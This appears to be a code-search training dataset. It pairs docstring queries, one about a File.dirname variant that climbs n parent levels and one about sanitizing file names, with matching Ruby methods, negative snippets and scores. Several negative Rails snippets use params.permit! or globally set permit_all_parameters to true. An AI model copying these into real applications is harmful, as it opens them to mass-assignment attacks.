params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end" ]
[ "0.69792545", "0.6781151", "0.67419964", "0.674013", "0.6734356", "0.6591046", "0.6502396", "0.6496313", "0.6480641", "0.6477825", "0.64565", "0.6438387", "0.63791263", "0.63740575", "0.6364131", "0.63192815", "0.62991166", "0.62978333", "0.6292148", "0.6290449", "0.6290076", "0.62894756", "0.6283177", "0.6242471", "0.62382483", "0.6217549", "0.6214457", "0.6209053", "0.6193042", "0.6177802", "0.6174604", "0.61714715", "0.6161512", "0.6151757", "0.6150663", "0.61461", "0.61213595", "0.611406", "0.6106206", "0.6105114", "0.6089039", "0.6081015", "0.6071004", "0.60620916", "0.6019971", "0.601788", "0.6011056", "0.6010898", "0.6005122", "0.6005122", "0.6001556", "0.6001049", "0.59943926", "0.5992201", "0.59909594", "0.5990628", "0.5980841", "0.59669393", "0.59589154", "0.5958826", "0.5957911", "0.5957385", "0.5953072", "0.59526145", "0.5943361", "0.59386164", "0.59375334", "0.59375334", "0.5933856", "0.59292704", "0.59254247", "0.5924164", "0.59167904", "0.59088355", "0.5907542", "0.59064597", "0.5906243", "0.5898226", "0.589687", "0.5896091", "0.5894501", "0.5894289", "0.5891739", "0.58860534", "0.5882406", "0.587974", "0.58738774", "0.5869024", "0.58679986", "0.5867561", "0.5865932", "0.5864461", "0.58639693", "0.58617616", "0.5861436", "0.5860451", "0.58602303", "0.5854586", "0.58537364", "0.5850427", "0.5850199" ]
0.0
-1
Behaves the same as File.dirname from the standard library, except when passed a second argument, n. In this case, dirname is called n times, essentially finding the file's nth parent.
def dirname file_name, n=1 n.times { file_name = _old_dirname(file_name) } return file_name end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dirname() Path::Name.new(File.dirname(path)) end", "def dirname\n File.dirname(filename)\n end", "def dirname\n File.dirname(filename)\n end", "def dirname( fn )\n ::File.dirname(fn).sub(%r/\\A[^\\/]+\\/?/o, '')\n end", "def dirname(path)\n File.dirname(path)\n end", "def dirname\n return File.dirname( self.path )\n end", "def dirname() self.class.new(File.dirname(@path)) end", "def parent_dirs(file); end", "def dir_name\n File.dirname(file_name)\n end", "def dirname\n (uid.path.split(\".\") << \"#{timestamp}-#{random}\").join(\"/\")\n end", "def dirname_meter(path)\n path =~ /(.*)\\\\(.*)\\\\(.|..)$/\n\n if ($3 == \".\")\n return $1 + \"\\\\\" + $2\n elsif ($3 == \"..\")\n return $1\n else\n return path\n end\n end", "def number_of_paths(n)\n return 0 if n < 0\n return 1 if n == 1 || n == 0\n number_of_paths(n - 1) + number_of_paths(n - 2) + number_of_paths(n - 3)\nend", "def paths(n)\n return nCr(2*(n-1),n)\nend", "def child(n)\n if n < 0\n raise Exceptions::ZipperError,\n \"child index cannot be negative\"\n end\n\n cursor = down\n until n.zero?\n cursor = cursor.next\n n -= 1\n end\n cursor\n end", "def dirname(path)\n sep = File::SEPARATOR\n path =~ /(.*)#{sep}(.*)#{sep}(.|..)$/\n\n if ($3 == \".\")\n return $1 + sep + $2\n elsif ($3 == \"..\")\n return $1\n else\n return path\n end\n end", "def directoryname\n new_parts = @parts[0..-2]\n new_parts[0] = absolute_prefix + new_parts[0]\n FilePath.new(*new_parts).to_s\n end", "def directory\n File.dirname @path\n end", "def rel_path(file)\n File.dirname(file)\n end", "def unique_dir\n taken_ints = taken_paths.map { |path| path.basename.to_s.to_i }\n (taken_ints.count > 0) ? (taken_ints.max + 1).to_s : 1.to_s\n end", "def dir\n calc_dir(@basename)\n end", "def parent_folder(file)\n Pathname.new(file).dirname.basename.to_s\n end", "def move_to(n)\n cd(n)\n end", "def parent_dirs(file)\n parent_dir = File.dirname(file)\n if parent_dir == site.dest\n []\n else\n parent_dirs(parent_dir).unshift(parent_dir)\n end\n end", "def extract_dirname(input)\n result = extract_path(input).gsub(/\\/[^\\/]+$/, '')\n result != \"\" ? result : \"/\"\n end", "def sub_dir_of(file, base = base_directory)\n file = Pathname.new(file) unless file.respond_to?(:relative_path_from)\n base = Pathname.new(base) unless base.respond_to?(:relative_path_from)\n rel = file.relative_path_from(base)\n if file.directory?\n rel\n else\n rel.dirname\n end\n end", "def parent_index(i)\n (i / 2).floor\n end", "def parent_directory\n File.dirname(@full_path).split('/').last\n end", "def parent_directory\n File.dirname(@full_path).split('/').last\n end", "def num_steps(n)\n if n < 4\n initial = [1,2,4]\n return initial[n-1]\n else\n num_steps(n-1) + num_steps(n-2) + num_steps(n-3)\n end\nend", "def get_dir(i)\n\n\t # if we used sub directory\n\t dir_dest = if @images_per_subfolder > 0\n\t \tsub_idx = i / @images_per_subfolder\n\t\t\t\"#{@dest_dir}/#{sub_idx}\"\n\t\telse\n\t\t\t@dest_dir\n\t\tend\n\n\t\tFileUtils.mkdir_p(dir_dest) #unless FileUtils.exists?(dir_dest)\n\t\tdir_dest\n\tend", "def digest_dirname(file_path)\n slash_path(File.dirname(file_path)).sub(slash_path(source.path), \"\")\n end", "def dir\n File.dirname(self.path)\n end", "def dir_name string\n string.split('/')[0..-2].join('/')\nend", "def dirname_up(path)\n path =~ /(.*)\\\\(.*)$/\n\n return $1 || path\n end", "def find_nth_file(basename, index = T.unsafe(nil)); end", "def dir\n @dir ||= File.dirname(fullpath)\n end", "def each_path_slice(n)\n temp = []\n File.foreach path do |line|\n line.strip!\n temp << line unless line.blank?\n\n if temp.length >= n\n yield temp\n temp.clear\n end\n end\n\n yield temp unless temp.empty?\n end", "def num_steps(n)\n return 1 if n <= 1\n num_steps(n-1) + num_steps(n-2)\nend", "def dir\n url[-1, 1] == '/' ? url : File.dirname(url)\n end", "def factoriel(n)\n\tif (n <= 1)\n\t return (1)\n\tend\n\t return (n * factoriel(n - 1))\nend", "def parent_dir path\r\n\t(File.basename File.dirname path).gsub(/\\s+/, ' ').strip\r\nend", "def nth(n) \n\tif n <0 \n\t\treturn 0 \n\tend \n\tif n == 1\n\t\treturn 2 \n\telse \n\t\treturn nth(n-1) + 3 \n\tend\nend", "def directory\n File.dirname(@path) + '/'\n end", "def subdirectories\n path_length - 1\n end", "def work\n '/' + File.dirname(file)\n end", "def containing_directory\n path.dirname\n end", "def path\n \"%s/%s\" % [dirname, filename]\n end", "def parent(index)\n (index.to_f / 2).ceil - 1\n end", "def parent(i)\n\treturn ((i+1)/2).floor-1 #could be simpler\nend", "def relative_dir(path, *args)\n relative_path = args ? args.join('/') : ''\n Pathname(path).dirname.join(relative_path)\n end", "def parent_of( page )\n dir = page.directory\n\n loop do\n if @db.has_key? dir\n parent = @db[dir].find {|p| p.filename == 'index'}\n return parent unless parent.nil? or parent == page\n end\n\n break if dir.empty?\n dir = ::File.dirname(dir)\n dir = '' if dir == '.'\n end\n\n return\n end", "def get_parent_id_folder(id)\n if id.to_s.length > 4\n id.to_s[0..id.to_s.length-2]\n else\n id.to_s\n end\nend", "def walk_path(dirs)\n (1..dirs.to_a.length).map do |k|\n File.join(*dirs.to_a.take(k))\n end\nend", "def d(n)\r\n\t\t\tfactors(n).inject(:+)-n\r\n\t\tend", "def parent(index)\n # Ruby automatically floors integers\n return (index - 1) / 2 if index.even?\n index / 2 \n end", "def relative_path(filename)\n @mount_dir_pieces ||= @mount_dir.size\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces..-1])\n end", "def get_non_linked_dir_path_for_path(path)\n \n #check if the directory exists (either as an actual directory or hard link) or whether we need to get the parent first\n \n if File.exist?(path) then\n \n #check first if we can go and get it directly\n \n if File.directory?(path) then\n \n return path\n \n end\n \n #otherwise, find the index from hard link count\n \n index = File.stat(path).nlink\n \n final_dir = File.join(@mount_point, @path_to_dir_entries, Dirlisting_prefix + index.to_s)\n \n return final_dir\n \n end\n \n #recursively get the parent directory\n \n split_path = File.split(path)\n \n parent_path = get_non_linked_dir_path_for_path(split_path[0])\n \n get_non_linked_dir_path_for_path(File.join(parent_path, split_path[1]))\n \n end", "def nth_triangle_number(n)\n n * (n + 1) / 2\nend", "def reverse_dir(d)\r\n return 10 - d\r\n end", "def incremented_path(file, number, ext)\n incremented_file = file + \"(\" + number.to_s + \")\"\n File.join(data_path, File.basename(incremented_file + ext))\nend", "def relative_directory\n return '' unless @directory_root\n @path - @directory_root - name\n end", "def unique_path(m, n, cache = {})\n return 1 if m == 1 || n == 1\n if cache[[m, n]]\n return cache[[m,n]]\n end\n cache[[m,n]] = unique_path(m-1, n) + unique_path(m, n-1)\nend", "def root\n '../' * file.count('/')\n end", "def num_to_idx(num)\n [(num - 1) / @n, (num - 1) % @n]\n end", "def dirname(delimiter = '/', start = nil)\n prefix = self.key\n unless start.nil?\n prefix = prefix.gsub(start,'')\n end\n \n arr = prefix.split(delimiter)\n if arr.length > 1\n arr[0] + delimiter\n elsif arr.length == 1 && is_placeholder_directory?\n arr[0] + delimiter\n else\n nil\n end\n end", "def path_name\n str = name.dup\n str << '/' if is_dir\n str = parent.path_name + str if parent\n str\n end", "def path\n assignment.path + '/' + directory_num.to_s\n end", "def getParentIdx(idx)\n (idx-1)/2.0.floor if (idx > 0)\n end", "def test_parentize_shortens_path_one_level\n assert_equal './one1/b/c/', './one1/b/c/d/'._parentize\n assert_equal './2two/abc/abc/', './2two/abc/abc/abc/'._parentize\n assert_equal '/three/abc/abc/', '/three/abc/abc/abc/'._parentize\n\n assert_equal './one1/b/c/', './one1/b/c/d'._parentize\n assert_equal './2two/abc/abc/', './2two/abc/abc/abc'._parentize\n assert_equal '/three/abc/abc/', '/three/abc/abc/abc'._parentize\n end", "def parent(i); (i-1)/2; end", "def directory\n @directory ||= File.expand_path(File.dirname(file))\n end", "def climb_stairs(n)\n\t# base cases\n\tfn1 = 1\n\tfn2 = 1\n\ti = 1\n\twhile i < n\n\t\tfn1, fn2 = fn1 + fn2, fn1\n\t\ti += 1\n\tend\n\treturn fn1\nend", "def dir\n \"#{@parent_worker.dir}__#{@sample}__#{@id.to_s.rjust(3, \"0\")}:#{@handle}\"\n end", "def subdir_and_filename_for(entry)\n Pathname.new(entry).split\n end", "def depth\n PathExpression.range(path)[1]\n end", "def eval_depth(name)\n depth = (name.length - name.lstrip.length) / 3 + 2\n if depth < @dir.length\n (@dir.length - depth).times {@dir.pop}\n end\n end", "def stepPerms(n)\n return 0 if n < 0\n return 1 if n == 0\n \n stepPerms(n - 1) + stepPerms(n - 2) + stepPerms(n - 3)\nend", "def directory_paths\n pages.map { |p| File.dirname(p.path).split(\"/\")[0] }.uniq\n end", "def parent_dn\n\t\treturn nil if self.dn == self.directory.base_dn\n\t\treturn '' if self.dn.index( ',' ).nil?\n\t\treturn self.split_dn( 2 ).last\n\tend", "def num_steps(n)\n # if n = 1\n # 1\n # elsif n = 2\n # 2\n # elsif n = 3\n # num_steps(1) + num_steps(2)\n # elsif n = 4\n # num_steps(2) + num_steps(3)\n # end\n if n < 3\n n\n else\n num_steps(n-2) + num_steps(n-1)\n end\nend", "def dir_path\n File.expand_path(File.dirname(@path))\n end", "def directory_basename\n File.basename(@directory)\n end", "def split_top(n=nil)\n results = []\n tail = self\n while true\n head, new_tail = tail.chdir('*')\n results << head\n if new_tail.empty?\n return results\n end\n if tail == new_tail\n raise InfinitePathSetError.new(self)\n end\n tail = new_tail\n end\n results\n end", "def unique_paths_recursive(m, n, store = {})\n return store[[m, n]] if store[[m, n]]\n\n if m == 1 && n == 1\n store[[m, n]] = 1\n return 1\n end\n\n above = m > 1 ? unique_paths_recursive(m - 1, n, store) : 0\n left = n > 1 ? unique_paths_recursive(m, n - 1, store) : 0\n\n store[[m - 1, n]] = above\n store[[m, n - 1]] = left\n total = above + left\nend", "def triple_step(n, memo = {})\n return nil if n < 0\n return 0 if n == 0\n return 1 if n == 1\n return 2 if n == 2\n return 4 if n == 3\n\n memo[n] ||=\n triple_step(n - 1, memo) + \n (triple_step(2, memo) * triple_step(n - 2, memo)) +\n (triple_step(3, memo) * triple_step(n - 3, memo))\nend", "def rel_split(fallback: true)\n\t\t\t\tif (i=components.index(\".\"))\n\t\t\t\t\tdirname=Pathname.new(components[0..i-1].join(\"/\"))\n\t\t\t\t\tbasename=Pathname.new(components[i+1..-1].join(\"/\"))\n\t\t\t\telsif fallback\n\t\t\t\t dirname=self.dirname\n\t\t\t\t basename=self.basename\n\t\t\t\tend\n\t\t\t\treturn dirname,basename\n\t\t\tend", "def parent(i)\n (i-1)/2\n end", "def parent(index)\n case index\n when 0\n INVALID_INDEX\n else\n (index - 1) / 2\n end\n end", "def relative_path(filename)\n pieces = split_filename(File.expand_path(filename))\n File.join(pieces[@mount_dir_pieces.size..-1])\n end", "def next_child_in_path(start_node_index, end_node_index)\n next_child = end_node_index\n while parent_index(end_node_index) != start_node_index\n end_node_index = parent_index(end_node_index)\n next_child = end_node_index\n end \n next_child\n end", "def dirname\n transliterate(super).downcase\n end", "def step_by(n)\n self.step = n\n self\n end", "def get_parent_folder_id(file_id)\n return nil if file_id == '/'\n file_id = file_id.chomp('/')\n file_id.slice(0..(file_id.rindex('/')))\n end", "def depth\n return 0 if %w(index 404).include?(self.fullpath)\n self.fullpath.split('/').size\n end", "def initialize\n @dir = N\n end", "def dir\n if url.end_with?(\"/\")\n url\n else\n url_dir = File.dirname(url)\n url_dir.end_with?(\"/\") ? url_dir : \"#{url_dir}/\"\n end\n end", "def dir\n @dir ||= self.class.normalize_dir(::File.dirname(@path))\n end", "def find_nth_from_end(n)\n raise NotImplementedError, \"Please implement find_nth_from_end\"\n end", "def n_direction_coordinates(coordinate, n, direction)\n result = [next_coordinate(coordinate, direction)]\n (n - 1).times { result << next_coordinate(result[-1], direction) }\n result\n end", "def traverse_up(startdir=Dir.pwd, filename=nil, levels=10)\n raise InternalError.new('must specify a filename') if filename.nil?\n\n @logger.debug(sprintf('traverse_up() looking for [%s] in [%s], up to [%s] levels', filename, startdir, levels)) unless @logger.nil?\n\n dirs = startdir.split('/')\n count = 0\n\n while count < levels and ! dirs.nil?\n\n potential = sprintf('%s/Vagrantfile', dirs.join('/'))\n\n if File.file?(potential)\n return potential\n end\n\n dirs.pop()\n count += 1\n end\n end" ]
[ "0.64315546", "0.61156213", "0.6018476", "0.5877481", "0.5759991", "0.5744559", "0.56592196", "0.5630027", "0.5505143", "0.54382086", "0.5327235", "0.53073025", "0.5301667", "0.52668536", "0.5137502", "0.5033914", "0.5006094", "0.49970862", "0.49744707", "0.4973133", "0.4943015", "0.4933886", "0.49334416", "0.49303064", "0.4890008", "0.48724425", "0.48696005", "0.48696005", "0.4829196", "0.4828416", "0.48278397", "0.48122808", "0.4810494", "0.4800614", "0.4789483", "0.47785273", "0.4755909", "0.47380552", "0.4733647", "0.47258866", "0.47218516", "0.47125593", "0.46985438", "0.46915907", "0.46853667", "0.46566483", "0.46528223", "0.4637964", "0.4617112", "0.45967746", "0.45892185", "0.45821118", "0.45753095", "0.45672676", "0.45640677", "0.4560266", "0.4558282", "0.45505437", "0.454705", "0.45185527", "0.45170075", "0.45156452", "0.4514168", "0.45014143", "0.44888136", "0.44881088", "0.44861323", "0.44779092", "0.4474211", "0.44555148", "0.4445292", "0.44273287", "0.44239807", "0.44184935", "0.44172987", "0.44117066", "0.4409388", "0.44016394", "0.43989128", "0.43768612", "0.437677", "0.43732262", "0.43727", "0.43714005", "0.4367265", "0.43630466", "0.43630084", "0.4355309", "0.435337", "0.43517187", "0.43508488", "0.43494934", "0.4343557", "0.43413204", "0.4335012", "0.4324214", "0.43164536", "0.43161944", "0.431588", "0.43122292" ]
0.8302876
0
Converts a string into a valid file name by replacing reserved characters.
def sanitize(file_name, replacement="_") # See http://en.wikipedia.org/wiki/Filename#Reserved_characters_and_words return file_name.gsub(/[\/|\0|\\\?%\*:"<>]/, replacement) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def filesystem_safe_name\n name.\n gsub(ReservedCharacters) {|sub| '%%%02X' % sub.ord }.\n gsub(ReservedFilenameRegexp) {|sub| sub.gsub(/[^.]/) {|c| '%%%02X' % c.ord } }\n end", "def fix_name(title)\n result = String.new( title )\n # Replace all invalid characters\n for substitution in $INVALID_CHARS_FOR_FILENAME\n result.gsub!(substitution[0], substitution[1])\n end\n result\nend", "def sanitize_filename(s)\n return '' if s.nil?\n s.chars.map{ |c| c.ord < 32 || c.ord > 126 ? '' : ([34, 42, 47, 58, 60, 62, 63, 92, 124].include?(c.ord) ? '_' : c) }.join\nend", "def get_valid_file_name(iFileName)\n if (defined?(prohibited_file_names_chars) != nil)\n return iFileName.gsub(/[#{Regexp.escape(prohibited_file_names_chars)}]/, '_')\n else\n return iFileName\n end\n end", "def sanitize(filename)\r\n # Bad as defined by wikipedia: https://en.wikipedia.org/wiki/Filename#Reserved_characters_and_words\r\n # Also have to escape the backslash\r\n bad_chars = [ '/', '\\\\', '?', '%', '*', ':', '|', '\"', '<', '>', '.', ' ' ]\r\n bad_chars.each do |bad_char|\r\n filename.gsub!(bad_char, '_')\r\n end\r\n filename.gsub!(/[éèë]/i, 'e')\r\n filename.gsub!(/[âà]/i, 'a')\r\n filename.gsub!(/[ïìî]/i, 'i')\r\n filename.gsub!(/[ùû]/i, 'u')\r\n filename\r\nend", "def proper_filename(file)\n file.gsub(/[^\\w]/,'_')\n end", "def createValidName(inname)\r\n outname = inname.gsub(/[\\s\\/\\\\?*#+]/,'') # Remove illegal chars (replace with underscore).\r\n outname.gsub!(/_+/,\"_\") # Replace consecutive uscores with single uscore.\r\n outname.gsub!(/\\./,\"-\") # Replace period with dash.\r\n\r\n outname\r\n end", "def safe_filename(str)\n return render(str).gsub(\" \", \"_\")\n end", "def sanitizeFilename(fn)\n fn.gsub(/[^-A-Za-z0-9_.]/, \"_\")[0,80]\nend", "def sanitize_filename(file_name)\r\n\t\tjust_filename = File.basename(file_name)\r\n\t\tjust_filename.sub(/[^\\w\\.\\-]/, '_')\r\n\tend", "def sanitize(name)\n name = name.force_encoding(Encoding::UTF_8)\n name = name.gsub(\"\\\\\", \"/\") # work-around for IE\n name = File.basename(name)\n name = name.gsub(sanitize_regexp, \"_\")\n name = \"_#{name}\" if name =~ /\\A\\.+\\z/\n name = \"unnamed\" if name.size == 0\n return name.mb_chars.to_s\n end", "def sanitize_filename(filename)\n filename.strip.gsub(/[^0-9A-Za-z.\\-]|\\s/, '_')\n end", "def sanitize(name)\n name = name.scrub\n name = name.tr(\"\\\\\", \"/\") # work-around for IE\n name = File.basename(name)\n name = name.gsub(sanitize_regexp, \"_\")\n name = \"_#{name}\" if name =~ /\\A\\.+\\z/\n name = \"unnamed\" if name.size.zero?\n name.mb_chars.to_s\n end", "def file_name(s)\n s.gsub(/[\\s\\\\\\/]/, '_')\n end", "def sanitizeForPath(str)\n # Code from (modified) http://gavinmiller.io/2016/creating-a-secure-sanitization-function/\n # Bad as defined by wikipedia:\n # https://en.wikipedia.org/wiki/Filename#Reserved_characters_and_words\n badChars = [ '/', '\\\\', '?', '%', '*', ':', '|', '\"', '<', '>', '.', ' ' ]\n badChars.each do |c|\n str.gsub!(c, '_')\n end\n str\nend", "def sanitizeForPath(str)\n # Code from (modified) http://gavinmiller.io/2016/creating-a-secure-sanitization-function/\n # Bad as defined by wikipedia:\n # https://en.wikipedia.org/wiki/Filename#Reserved_characters_and_words\n bad_chars = ['/', '\\\\', '?', '%', '*', ':', '|', '\"', '<', '>', '.', ' ']\n bad_chars.each do |c|\n str.gsub!(c, '_')\n end\n str\nend", "def createValidName(inname)\r\n $LOG.debug \"PpmContext::createValidName( #{inname} )\"\r\n outname = 